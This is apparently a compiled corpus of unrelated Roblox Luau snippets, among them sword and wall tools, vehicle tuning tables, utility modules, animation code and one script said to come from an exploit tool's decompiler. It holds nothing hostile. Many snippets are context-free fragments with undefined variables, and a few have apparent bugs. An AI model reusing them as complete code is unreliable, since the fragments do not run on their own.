sp=script.Parent r=game:service("RunService") anims={"RightSlash","LeftSlash","OverHeadSwing"} basedamage=0 + (script.Parent.AddDam.Value/4) slashdamage=0 + script.Parent.AddDam.Value swingdamage=0 + script.Parent.AddDam.Value damage=basedamage sword=sp.Handle sp.Taunting.Value=false local SlashSound=Instance.new("Sound") SlashSound.SoundId="rbxasset://sounds\\swordslash.wav" SlashSound.Parent=sword SlashSound.Volume=.7 local UnsheathSound=Instance.new("Sound") UnsheathSound.SoundId="rbxasset://sounds\\unsheath.wav" UnsheathSound.Parent=sword UnsheathSound.Volume=0 function blow(hit) if (hit.Parent==nil) then return end -- happens when bullet hits sword local humanoid=hit.Parent:findFirstChild("Humanoid") local vCharacter=sp.Parent local vPlayer=game.Players:playerFromCharacter(vCharacter) local hum=vCharacter:findFirstChild("Humanoid") -- non-nil if sp held by a character if humanoid~=nil and humanoid~=hum and hum~=nil then -- final check, make sure sword is in-hand local right_arm=vCharacter:FindFirstChild("Right Arm") if (right_arm~=nil) then local joint=right_arm:FindFirstChild("RightGrip") if (joint~=nil and (joint.Part0==sword or joint.Part1==sword)) then tagHumanoid(humanoid, vPlayer) humanoid:TakeDamage(damage) wait(1) untagHumanoid(humanoid) end end end end function tagHumanoid(humanoid, player) local creator_tag=Instance.new("ObjectValue") creator_tag.Value=player creator_tag.Name="creator" creator_tag.Parent=humanoid end function untagHumanoid(humanoid) if humanoid~=nil then local tag=humanoid:findFirstChild("creator") if tag~=nil then tag.Parent=nil end end end sp.Enabled=true function onActivated() if sp.Enabled and not sp.Taunting.Value then sp.Enabled=false local character=sp.Parent; local humanoid=character.Immortal if humanoid==nil then print("Humanoid not found") return end SlashSound:play() newanim=anims[math.random(1,#anims)] while newanim==sp.RunAnim.Value do newanim=anims[math.random(1,#anims)] end sp.RunAnim.Value=newanim if newanim=="OverHeadSwing" then damage=swingdamage else damage=slashdamage end wait(1) damage=basedamage sp.Enabled=true end end function onEquipped() UnsheathSound:play() end sp.Activated:connect(onActivated) sp.Equipped:connect(onEquipped) connection=sword.Touched:connect(blow)
--[[ HOW TO USE THIS PLUGIN: In the body, everything except the wheels are set to be non-cancollidable. For hitboxes, or any part that you'd like to be cancollidable, name them "Hitbox". THE SCRIPT WILL ONLY ENABLE CANCOLLIDE ON PARTS NAMED "Hitbox"! ]]
--
-- places a brick at pos and returns the position of the brick's opposite corner
function placeBrick(cf, pos) local brick = Instance.new("Part") brick.Size = Vector3.new(brickWidth, brickHeight, brickDepth) brick.BrickColor = colors[math.random(1, #colors)] brick.Friction = .01 brick.CFrame = cf * CFrame.new(pos + brick.size / 2) if ( math.random() > .5) then brick.Material = Enum.Material.Ice else brick.Transparency = .1 + (math.random(1,4) / 10) end brick.Parent = game.Workspace brick:makeJoints() return brick, pos + brick.size end function buildWall(cf) local bricks = {} assert(wallWidth>0) local y = 0 while y < wallHeight do local p local x = -wallWidth/2 while x < wallWidth/2 do local brick brick, p = placeBrick(cf, Vector3.new(x, y, 0), color) x = p.x table.insert(bricks, brick) wait(brickSpeed) end y = p.y end return bricks end function snap(v) if math.abs(v.x)>math.abs(v.z) then if v.x>0 then return Vector3.new(1,0,0) else return Vector3.new(-1,0,0) end else if v.z>0 then return Vector3.new(0,0,1) else return Vector3.new(0,0,-1) end end end Tool.Enabled = true function onActivated() if not Tool.Enabled then return end Tool.Enabled = false local character = Tool.Parent; local humanoid = character.Humanoid if humanoid == nil then print("Humanoid not found") return end local targetPos = humanoid.TargetPoint local lookAt = snap( (targetPos - character.Head.Position).unit ) local cf = CFrame.new(targetPos, targetPos + lookAt) if (targetPos - character.Torso.Position).magnitude < 64 then staffOut() Tool.Handle.UseSound:Play() buildWall(cf) staffUp() wait(5) end Tool.Enabled = true end script.Parent.Activated:connect(onActivated)
--[[ Update a binding's value. This is only accessible by Roact. ]]
function Binding.update(binding, newValue) local internalData = binding[InternalData] newValue = internalData.valueTransform(newValue) internalData.value = newValue internalData.changeSignal:fire(newValue) end
--[[Engine]] --Torque Curve
Tune.Horsepower = 280 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 6000 -- Use sliders to manipulate values Tune.Redline = 6700 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16
-- local jest_resolveModule = require(Packages["jest-resolve"])
type Resolver = any
--All sounds are referenced by this ID
local SFX = { Died = 0; Running = 1; Swimming = 2; Climbing = 3, Jumping = 4; GettingUp = 5; FreeFalling = 6; FallingDown = 7; Landing = 8; Splash = 9; } local Humanoid = nil local Head = nil
-----
local Status = "nil" local debounce = false
-- Works backwards, joining the arguments until it resolves to an absolute path. -- If an absolute path is not resolved, then the current working directory is -- prepended
function Path:resolve(...: string) local paths: Array<string> = { ... } local resolvedpath = "" local resolveddrive = nil local isabsolute = false for i = #paths, 1, -1 do local path = paths[i] if path and path ~= "" then local root = resolveddrive and self:getRoot(path) if self:isDriveRelative(path) then root = root or self:getRoot(path) resolveddrive = resolveddrive or root path = path:sub(root:len() + 1) end if not root or resolveddrive:sub(1, 2) == root:sub(1, 2) then resolvedpath = self:join(self:normalize(path), resolvedpath) if self:isAbsolute(resolvedpath) then isabsolute = true break end end end end if not isabsolute then if resolveddrive then local drivecwd = process.env["=" .. resolveddrive] if drivecwd and self:pathsEqual(drivecwd:sub(1, 2), resolveddrive) then resolvedpath = self:join(drivecwd, resolvedpath) else resolvedpath = self:join(resolveddrive, resolvedpath) end else resolvedpath = self:join(process.cwd(), resolvedpath) end end local trailing_slashes = resolvedpath:match("[" .. self.sep .. "]*$") if trailing_slashes then resolvedpath = resolvedpath:sub(1, -trailing_slashes:len() - 1) end return resolvedpath end
--[=[ @within TableUtil @function Sync @param srcTbl table -- Source table @param templateTbl table -- Template table @return table Synchronizes the `srcTbl` based on the `templateTbl`. This will make sure that `srcTbl` has all of the same keys as `templateTbl`, including removing keys in `srcTbl` that are not present in `templateTbl`. This is a _deep_ operation, so any nested tables will be synchronized as well. ```lua local template = {kills = 0, deaths = 0, xp = 0} local data = {kills = 10, experience = 12} data = TableUtil.Sync(data, template) print(data) --> {kills = 10, deaths = 0, xp = 0} ``` :::caution Data Loss Warning This is a two-way sync, so the source table will have data _removed_ that isn't found in the template table. This can be problematic if used for player data, where there might be dynamic data added that isn't in the template. For player data, use `TableUtil.Reconcile` instead. ]=]
local function Sync(srcTbl: Table, templateTbl: Table): Table assert(type(srcTbl) == "table", "First argument must be a table") assert(type(templateTbl) == "table", "Second argument must be a table") local tbl = table.clone(srcTbl) -- If 'tbl' has something 'templateTbl' doesn't, then remove it from 'tbl' -- If 'tbl' has something of a different type than 'templateTbl', copy from 'templateTbl' -- If 'templateTbl' has something 'tbl' doesn't, then add it to 'tbl' for k,v in pairs(tbl) do local vTemplate = templateTbl[k] -- Remove keys not within template: if vTemplate == nil then tbl[k] = nil -- Synchronize data types: elseif type(v) ~= type(vTemplate) then if type(vTemplate) == "table" then tbl[k] = Copy(vTemplate, true) else tbl[k] = vTemplate end -- Synchronize sub-tables: elseif type(v) == "table" then tbl[k] = Sync(v, vTemplate) end end -- Add any missing keys: for k,vTemplate in pairs(templateTbl) do local v = tbl[k] if v == nil then if type(vTemplate) == "table" then tbl[k] = Copy(vTemplate, true) else tbl[k] = vTemplate end end end return tbl end
-------------------------------------------------------------- -- Connection
local Connection = {} Connection.__index = Connection function Connection.new(event, connection) local self = setmetatable({ _conn = connection; _event = event; Connected = true; }, Connection) return self end function Connection:IsConnected() if self._conn then return self._conn.Connected end return false end function Connection:Disconnect() if self._conn then self._conn:Disconnect() self._conn = nil end if not self._event then return end self.Connected = false local connections = self._event._connections for i,c in ipairs(connections) do if c == self then connections[i] = connections[#connections] connections[#connections] = nil break end end self._event = nil end Connection.Destroy = Connection.Disconnect
-- Offsets the entire Frame by 36px (unless already at 36px above)
script.Parent.Position = UDim2.new(script.Parent.Position.X.Scale, script.Parent.Position.X.Offset, script.Parent.Position.Y.Scale, -36)
-- Editable Values
local TurboId = 240323039 local SuperId = 404779487 local BovId = 3568930062 local TurboVol = .025 --Per Psi local TurboRollOffMax = 1000 local TurboRollOffMin = 10 local SuperVol = .1 --Per Psi local SuperRollOffMax = 1000 local SuperRollOffMin = 10 local BovVol = .025 --Per Psi local BovRollOffMax = 1000 local BovRollOffMin = 10 local BovSensitivity = .5 local TurboSetPitch = 1 --Base Pitch local SuperSetPitch = .8 --Base Pitch local BovSetPitch = .7 --Base Pitch local TurboPitchIncrease = .05 --Per Psi local SuperPitchIncrease = .05 --Per Psi local BovPitchIncrease = .05 --Per Psi local FE=true
--------LEFT DOOR 3--------
game.Workspace.doorleft.l71.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l72.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l73.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l63.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l62.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l53.BrickColor = BrickColor.new(135) game.Workspace.doorleft.l11.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l12.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l13.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l41.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l42.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l43.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l21.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l22.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l23.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l52.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l53.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l31.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l32.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l33.BrickColor = BrickColor.new(102) game.Workspace.doorleft.l61.BrickColor = BrickColor.new(102)
--Traction Control Settings
Tune.TCSEnabled = false -- Implements TCS Tune.TCSThreshold = 20 -- Slip speed allowed before TCS starts working (in SPS) Tune.TCSGradient = 20 -- Slip speed gradient between 0 to max reduction (in SPS) Tune.TCSLimit = 10 -- Minimum amount of torque at max reduction (in percent)
-- Changeable Settings ------------------------
local FlashlightKey = "F" local brightness = 0.7 local range = 40 local shadowson = false
---
local Paint = false script.Parent.MouseButton1Click:connect(function() Paint = not Paint handler:FireServer("Fossil",Paint) end)
-- snaps if pet to far
while true do if master then distance = (pet.SpringAttach.WorldPosition - master.Position).Magnitude if distance > maxDistance*1.5 then pet.CFrame = master.CFrame end end wait() end
--------------------------------------------------------------------------
local _WHEELTUNE = { --[[ SS6 Presets [Eco] WearSpeed = 1, TargetFriction = .7, MinFriction = .1, [Road] WearSpeed = 2, TargetFriction = .7, MinFriction = .1, [Sport] WearSpeed = 3, TargetFriction = .79, MinFriction = .1, ]] TireWearOn = true , --Friction and Wear FWearSpeed = .3 , FTargetFriction = 1.1 , FMinFriction = .5 , RWearSpeed = .3 , RTargetFriction = 1.1 , RMinFriction = .5 , --Tire Slip TCSOffRatio = 1/3 , WheelLockRatio = 1/2 , --SS6 Default = 1/4 WheelspinRatio = 1/1.1 , --SS6 Default = 1/1.2 --Wheel Properties FFrictionWeight = 1 , --SS6 Default = 1 RFrictionWeight = 1 , --SS6 Default = 1 FLgcyFrWeight = 10 , RLgcyFrWeight = 10 , FElasticity = 0 , --SS6 Default = .5 RElasticity = 0 , --SS6 Default = .5 FLgcyElasticity = 0 , RLgcyElasticity = 0 , FElastWeight = 1 , --SS6 Default = 1 RElastWeight = 1 , --SS6 Default = 1 FLgcyElWeight = 10 , RLgcyElWeight = 10 , --Wear Regen RegenSpeed = 3.6 --SS6 Default = 3.6 }
--[[ Matches ]]
-- local function match_tostr(self) local spans = proxy[self].spans; local s_start, s_end = spans[0][1], spans[0][2]; if s_end <= s_start then return string.format("Match (%d..%d, empty)", s_start, s_end - 1); end; return string.format("Match (%d..%d): %s", s_start, s_end - 1, utf8_sub(spans.input, s_start, s_end)); end; local function new_match(span_arr, group_id, re, str) span_arr.source, span_arr.input = re, str; local object = newproxy(true); local object_mt = getmetatable(object); object_mt.__metatable = lockmsg; object_mt.__index = setmetatable(span_arr, match_m); object_mt.__tostring = match_tostr; proxy[object] = { name = "Match", spans = span_arr, group_id = group_id }; return object; end; match_m.group = check_re('Match', 'group', function(self, group_id) local span = self.spans[type(group_id) == "number" and group_id or self.group_id[group_id]]; if not span then return nil; end; return utf8_sub(self.spans.input, span[1], span[2]); end); match_m.span = check_re('Match', 'span', function(self, group_id) local span = self.spans[type(group_id) == "number" and group_id or self.group_id[group_id]]; if not span then return nil; end; return span[1], span[2] - 1; end); match_m.groups = check_re('Match', 'groups', function(self) local spans = self.spans; if spans.n > 0 then local ret = table.create(spans.n); for i = 0, spans.n do local v = spans[i]; if v then ret[i] = utf8_sub(spans.input, v[1], v[2]); end; end; return table.unpack(ret, 1, spans.n); end; return utf8_sub(spans.input, spans[0][1], spans[0][2]); end); match_m.groupdict = check_re('Match', 'groupdict', function(self) local spans = self.spans; local ret = { }; for k, v in pairs(self.group_id) do v = spans[v]; if v then ret[k] = utf8_sub(spans.input, v[1], v[2]); end; end; return ret; end); match_m.grouparr = check_re('Match', 'groupdict', function(self) local spans = self.spans; local ret = table.create(spans.n); for i = 0, spans.n do local v = spans[i]; if v then ret[i] = utf8_sub(spans.input, v[1], v[2]); end; end; ret.n = spans.n; return ret; end);
--CHANGE THIS LINE--
Signal = script.Parent.Parent.Parent.ControlBox.TurnValues.TurnSignal1 -- Change last word
--[[Engine]]
--Torque Curve Tune.Horsepower = 550 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 800 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 8000 -- Use sliders to manipulate values Tune.Redline = 9000 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 6100 Tune.PeakSharpness = 3.8 Tune.CurveMult = 0.07 --Incline Compensation Tune.InclineComp = 1.5 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 450 -- RPM acceleration when clutch is off Tune.RevDecay = 150 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
----------------------------------------------------------- ----------------------- STATIC DATA ----------------------- -----------------------------------------------------------
local RunService = game:GetService("RunService") local Workspace = game:GetService("Workspace") local ReplicatedStorage = game:GetService("ReplicatedStorage") local Modules = ReplicatedStorage:WaitForChild("Modules") local Utilities = require(Modules.Utilities) local Signal = Utilities.Signal local table = Utilities.Table local Thread = Utilities.Thread local TargetEvent if RunService:IsClient() then TargetEvent = RunService.RenderStepped else TargetEvent = RunService.Heartbeat end local Projectiles = {} local RemoveList = {}
-- Customization
AntiTK = false; -- Set to false to allow TK and damaging of NPC, true for no TK. (To damage NPC, this needs to be false) MouseSense = 0.5; CanAim = true; -- Allows player to aim CanBolt = false; -- When shooting, if this is enabled, the bolt will move (SCAR-L, ACR, AK Series) LaserAttached = true; LightAttached = true; TracerEnabled = true; SprintSpeed = 24; CanCallout = false; SuppressCalloutChance = 0;
-- This module is very simple - it simply submits a log whenever a player joins or leaves the game.
local module = {} function module.loadServer(core) -- Include a first join message, since it takes a moment before the PlayerAdded is registered local p = game:GetService("Players"):FindFirstChildOfClass("Player") if p ~= nil then -- sometimes this loads before the player apparently core.addLog({["Text"] = p.Name .. " has started the game server."}) end game:GetService("Players").PlayerAdded:Connect(function(p) core.addLog({["Text"] = p.Name .. " has joined the server."}) end) game:GetService("Players").PlayerRemoving:Connect(function(p) core.addLog({["Text"] = p.Name .. " has left the server."}) end) end return module
--[[ STATIC METHODS ]]
-- function Path.GetNearestCharacter(fromPosition) local character, magnitude = nil, -1 for _, player in ipairs(Players:GetPlayers()) do if player.Character and (player.Character.PrimaryPart.Position - fromPosition).Magnitude > magnitude then character, magnitude = player.Character, (player.Character.PrimaryPart.Position - fromPosition).Magnitude end end return character end
--------| Reference |--------
local lastMagnitude
--!strict
local package = script.package assert( package and package:IsA("ObjectValue"), ("could not require package. %q does not have a 'package' ObjectValue"):format(script:GetFullName()) ) local value = package.Value assert( value and value:IsA("ModuleScript"), ("could not require package. %q does not have a package set as its Value"):format(package:GetFullName()) ) return require(value :: ModuleScript)
-- built-in flowtypes reverse engineered based on usage and enabling strict type checking on test suites --!strict
local Packages = script.Parent.Parent local LuauPolyfill = require(Packages.LuauPolyfill) type Error = LuauPolyfill.Error type Array<T> = LuauPolyfill.Array<T> type Object = { [string]: any }
-- Pause the shimmer when the mouse clicks the guiObject
guiObject.MouseButton1Click:Connect(function() if shim.PlaybackState == Enum.PlaybackState.Playing then pauseShimmer() else startShimmer() end end)
--[[Wheel Alignment]]
--[Don't physically apply alignment to wheels] --[Values are in degrees] Tune.FCamber = -8 Tune.RCamber = -1 Tune.FCaster = 7 Tune.FToe = 1 Tune.RToe = 0
-- d3m l4z0rzzz!!!!
local TS = game:GetService("TweenService") local P1 = script.Parent.Pivot1 local P2 = script.Parent.Pivot2 local OG_ROT1 = P1.CFrame local OG_ROT2 = P2.CFrame TS:Create(P1,TweenInfo.new(.4,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut,0,false,0),{CFrame = P1.CFrame * CFrame.Angles(math.rad(20),0,0)}):Play() TS:Create(P2,TweenInfo.new(.4,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut,0,false,0),{CFrame = P2.CFrame * CFrame.Angles(math.rad(-10),0,0)}):Play() while task.wait(.65) do TS:Create(P1,TweenInfo.new(.4,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut,0,false,0),{CFrame = OG_ROT1 * CFrame.Angles(math.rad(-10),0,0)}):Play() TS:Create(P2,TweenInfo.new(.4,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut,0,false,0),{CFrame = OG_ROT2 * CFrame.Angles(math.rad(20),0,0)}):Play() task.wait(.65) TS:Create(P1,TweenInfo.new(.4,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut,0,false,0),{CFrame = OG_ROT1 * CFrame.Angles(math.rad(20),0,0)}):Play() TS:Create(P2,TweenInfo.new(.4,Enum.EasingStyle.Sine,Enum.EasingDirection.InOut,0,false,0),{CFrame = OG_ROT2 * CFrame.Angles(math.rad(-10),0,0)}):Play() end
--!strict
type Table = { [any]: any } type Array<T> = { [number]: T } return function(value: Table | Array<any> | string): Array<any> if value == nil then error("cannot extract values from a nil value") end local valueType = typeof(value) local array = {} if valueType == "table" then for _, keyValue in pairs(value :: Table) do table.insert(array, keyValue) end elseif valueType == "string" then for i = 1, (value :: string):len() do array[i] = (value :: string):sub(i, i) end end return array end
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
local hitPart = script.Parent local debounce = true local tool = game.ServerStorage.ChocoMilk -- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage hitPart.Touched:Connect(function(hit) if debounce == true then if hit.Parent:FindFirstChild("Humanoid") then local plr = game.Players:FindFirstChild(hit.Parent.Name) if plr then debounce = false hitPart.BrickColor = BrickColor.new("Bright red") tool:Clone().Parent = plr.Backpack wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again debounce = true hitPart.BrickColor = BrickColor.new("Bright green") end end end end)
-- functions
function stopAllAnimations() local oldAnim = currentAnim -- return to idle if finishing an emote if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then oldAnim = "idle" end currentAnim = "" currentAnimInstance = nil if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:disconnect() end if (currentAnimTrack ~= nil) then currentAnimTrack:Stop() currentAnimTrack:Destroy() currentAnimTrack = nil end -- clean up walk if there is one if (runAnimKeyframeHandler ~= nil) then runAnimKeyframeHandler:disconnect() end if (runAnimTrack ~= nil) then runAnimTrack:Stop() runAnimTrack:Destroy() runAnimTrack = nil end return oldAnim end function getHeightScale() if Humanoid then local bodyHeightScale = Humanoid:FindFirstChild("BodyHeightScale") if bodyHeightScale and bodyHeightScale:IsA("NumberValue") then return bodyHeightScale.Value end end return 1 end local smallButNotZero = 0.0001 function setRunSpeed(speed) if speed < 0.33 then currentAnimTrack:AdjustWeight(1.0) runAnimTrack:AdjustWeight(smallButNotZero) elseif speed < 0.66 then local weight = ((speed - 0.33) / 0.33) currentAnimTrack:AdjustWeight(1.0 - weight + smallButNotZero) runAnimTrack:AdjustWeight(weight + smallButNotZero) else currentAnimTrack:AdjustWeight(smallButNotZero) runAnimTrack:AdjustWeight(1.0) end local speedScaled = speed * 1.25 local heightScale = getHeightScale() runAnimTrack:AdjustSpeed(speedScaled / heightScale) currentAnimTrack:AdjustSpeed(speedScaled / heightScale) end function setAnimationSpeed(speed) if speed ~= currentAnimSpeed then currentAnimSpeed = speed if currentAnim == "walk" then else end end end function keyFrameReachedFunc(frameName) if (frameName == "End") then if currentAnim == "walk" then runAnimTrack.TimePosition = 0.0 currentAnimTrack.TimePosition = 0.0 else local repeatAnim = currentAnim -- return to idle if finishing an emote if (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then repeatAnim = "idle" end local animSpeed = currentAnimSpeed playAnimation(repeatAnim, 0.15, Humanoid) setAnimationSpeed(animSpeed) end end end function rollAnimation(animName) local roll = math.random(1, animTable[animName].totalWeight) local origRoll = roll local idx = 1 while (roll > animTable[animName][idx].weight) do roll = roll - animTable[animName][idx].weight idx = idx + 1 end return idx end function playAnimation(animName, transitionTime, humanoid) local idx = rollAnimation(animName) local anim = animTable[animName][idx].anim -- switch animation if (anim ~= currentAnimInstance) then if (currentAnimTrack ~= nil) then currentAnimTrack:Stop(transitionTime) currentAnimTrack:Destroy() end if (runAnimTrack ~= nil) then runAnimTrack:Stop(transitionTime) runAnimTrack:Destroy() end currentAnimSpeed = 1.0 -- load it to the humanoid; get AnimationTrack currentAnimTrack = humanoid:LoadAnimation(anim) currentAnimTrack.Priority = Enum.AnimationPriority.Core -- play the animation currentAnimTrack:Play(transitionTime) currentAnim = animName currentAnimInstance = anim -- set up keyframe name triggers if (currentAnimKeyframeHandler ~= nil) then currentAnimKeyframeHandler:disconnect() end currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc) -- check to see if we need to blend a walk/run animation if animName == "walk" then local runAnimName = "run" local runIdx = rollAnimation(runAnimName) runAnimTrack = humanoid:LoadAnimation(animTable[runAnimName][runIdx].anim) runAnimTrack.Priority = Enum.AnimationPriority.Core runAnimTrack:Play(transitionTime) if (runAnimKeyframeHandler ~= nil) then runAnimKeyframeHandler:disconnect() end runAnimKeyframeHandler = runAnimTrack.KeyframeReached:connect(keyFrameReachedFunc) end end end
-- Remote
local RE_UpdateSpine = ReplicatedStorage.RemoteEvents.UpdateSpine
-- Casts and recasts until it hits either: nothing, or something not transparent or collidable
local function PiercingCast(fromPoint, toPoint, ignoreList) --NOTE: Modifies ignoreList! repeat local hitPart, hitPoint = CastRay(fromPoint, toPoint, ignoreList) if hitPart and (hitPart.Transparency > 0.95 or hitPart.CanCollide == false) then table.insert(ignoreList, hitPart) else return hitPart, hitPoint end until false end local function ScreenToWorld(screenPoint, screenSize, pushDepth) local cameraFOV, cameraCFrame = Camera.FieldOfView, Camera.CoordinateFrame local imagePlaneDepth = screenSize.y / (2 * math.tan(math.rad(cameraFOV) / 2)) local direction = Vector3.new(screenPoint.x - (screenSize.x / 2), (screenSize.y / 2) - screenPoint.y, -imagePlaneDepth) local worldDirection = (cameraCFrame:vectorToWorldSpace(direction)).Unit local theta = math.acos(math.min(1, worldDirection:Dot(cameraCFrame.lookVector))) local fixedPushDepth = pushDepth / math.sin((math.pi / 2) - theta) return cameraCFrame.p + worldDirection * fixedPushDepth end local function OnCameraChanged(property) if property == 'CameraSubject' then VehicleParts = {} local newSubject = Camera.CameraSubject if newSubject then -- Determine if we should be popping at all PopperEnabled = false for _, subjectType in pairs(VALID_SUBJECTS) do if newSubject:IsA(subjectType) then PopperEnabled = true break end end -- Get all parts of the vehicle the player is controlling if newSubject:IsA('VehicleSeat') then VehicleParts = newSubject:GetConnectedParts(true) end end end end local function OnCharacterAdded(player, character) PlayerCharacters[player] = character end local function OnPlayersChildAdded(child) if child:IsA('Player') then child.CharacterAdded:connect(function(character) OnCharacterAdded(child, character) end) if child.Character then OnCharacterAdded(child, child.Character) end end end local function OnPlayersChildRemoved(child) if child:IsA('Player') then PlayerCharacters[child] = nil end end local function OnWorkspaceChanged(property) if property == 'CurrentCamera' then local newCamera = workspace.CurrentCamera if newCamera then Camera = newCamera if CameraChangeConn then CameraChangeConn:disconnect() end CameraChangeConn = Camera.Changed:connect(OnCameraChanged) OnCameraChanged('CameraSubject') end end end
-- Decompiled with the Synapse X Luau decompiler.
local v1 = { data = {}, event = {} }; local v2 = { "Knobs", "Revives", "Boosts", "Statistics", "Achievements" }; for v3, v4 in pairs(v2) do local v5 = Instance.new("BindableEvent"); v5.Name = v4 .. "Updated"; v5.Parent = script; v1.event[v4] = v5; end; local v6 = require(game:GetService("ReplicatedStorage"):WaitForChild("ReplicaController")); local l__LocalPlayer__7 = game:GetService("Players").LocalPlayer; v6.RequestData(); v6.ReplicaOfClassCreated("PlayerProfile", function(p1) local v8 = p1.Tags.Player == l__LocalPlayer__7; if not v8 then local v9 = p1.Tags.Player.Name .. "'s"; end; local l__Data__10 = p1.Data; v1.data = l__Data__10; if v8 then for v11, v12 in pairs(v2) do p1:ListenToChange({ v12 }, function(p2) v1.event[v12]:Fire(l__Data__10[v12]); end); v1.event[v12]:Fire(l__Data__10[v12]); end; end; end); local v13 = tick(); while true do wait(); if v6.InitialDataReceived then break; end; end; local v14 = tick(); return v1;
-- ROBLOX TODO: implement in LuauPolyfill
local CurrentModule = script.Parent local Packages = CurrentModule.Parent local LuauPolyfill = require(Packages.LuauPolyfill) local Array = LuauPolyfill.Array type Array<T> = LuauPolyfill.Array<T> local RegExp = require(Packages.RegExp) type RegExp = RegExp.RegExp local function stringReplace(str: string, regExp: RegExp, replFn: (...any) -> string) local v = str local match = regExp:exec(v) local offset = 0 local replaceArr = {} while match ~= nil and match.index ~= nil do -- ROBLOX FIXME Luau: analyze complains about match type being `Array<string> & {| index: number?, input: string?, n: number |}` instead of table local m = (match :: Array<string>)[1] local args: Array<string | number> = Array.slice(match, 1, match.n + 1) -- ROBLOX FIXME Luau: analyze doesn't recognize match.index as a number local index = (match.index :: any) + offset table.insert(args, index) local replace = replFn(table.unpack(args)) table.insert(replaceArr, { from = index, length = #m, value = replace, }) -- ROBLOX FIXME Luau: analyze doesn't recognize match.index as a number offset += #m + (match.index :: any) - 1 v = str:sub(offset + 1) match = regExp:exec(v) end local result = str:sub(1) for _, rep in ipairs(Array.reverse(replaceArr)) do local from, length, value = rep.from, rep.length, rep.value local prefix = result:sub(1, from - 1) local suffix = result:sub(from + length) result = prefix .. value .. suffix end return result end return { stringReplace = stringReplace, }
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local autoscaling = false --Estimates top speed local UNITS = { --Click on speed to change units --First unit is default { units = "KM/H" , scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H maxSpeed = 220 , spInc = 40 , -- Increment between labelled notches } }
-- p = period -- a = amplitud
local function inOutElastic(t,a,p, b, c, d) b,c,d = default(b,c,d) if t == 0 then return b end t = t / d * 2 if t == 2 then return b + c end if not p then p = d * (0.3 * 1.5) end if not a then a = 0 end local s if not a or a < abs(c) then a = c s = p / 4 else s = p / (2 * pi) * asin(c / a) end if t < 1 then t = t - 1 return -0.5 * (a * pow(2, 10 * t) * sin((t * d - s) * (2 * pi) / p)) + b else t = t - 1 return a * pow(2, -10 * t) * sin((t * d - s) * (2 * pi) / p ) * 0.5 + c + b end end
-- Class that provides body orientation functionality to a given rig
local OrientableBody = {} OrientableBody.__index = OrientableBody local function waitForDescendantWhichIsA(parent: Instance, name: string, className: string) for _, descendant in ipairs(parent:GetDescendants()) do if descendant.Name == name and descendant:IsA(className) then return descendant end end while true do local descendant = parent.DescendantAdded:Wait() if descendant.Name == name and descendant:IsA(className) then return descendant end end end function OrientableBody.new(character: Model) local self = {} self.character = character task.spawn(function() self.neck = waitForDescendantWhichIsA(character, "Neck", "Motor6D") self.waist = waitForDescendantWhichIsA(character, "Waist", "Motor6D") end) self.motor = Otter.createGroupMotor({ horizontalAngle = 0, verticalAngle = 0, }) self.motor:onStep(function(values) local waistWeight = config.getValues().waistOrientationWeight local neckWeight = 1 - waistWeight self:applyAngle(self.neck, values.horizontalAngle * neckWeight, values.verticalAngle * neckWeight) self:applyAngle(self.waist, values.horizontalAngle * waistWeight, values.verticalAngle * waistWeight) end) return setmetatable(self, OrientableBody) end function OrientableBody:applyAngle(joint, horizontalAngle, verticalAngle) if not joint then return end local horizontalRotation = CFrame.Angles(0, horizontalAngle, 0) local verticalRotation = CFrame.Angles(verticalAngle, 0, 0) joint.C0 = CFrame.new(joint.C0.Position) * horizontalRotation * verticalRotation end
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
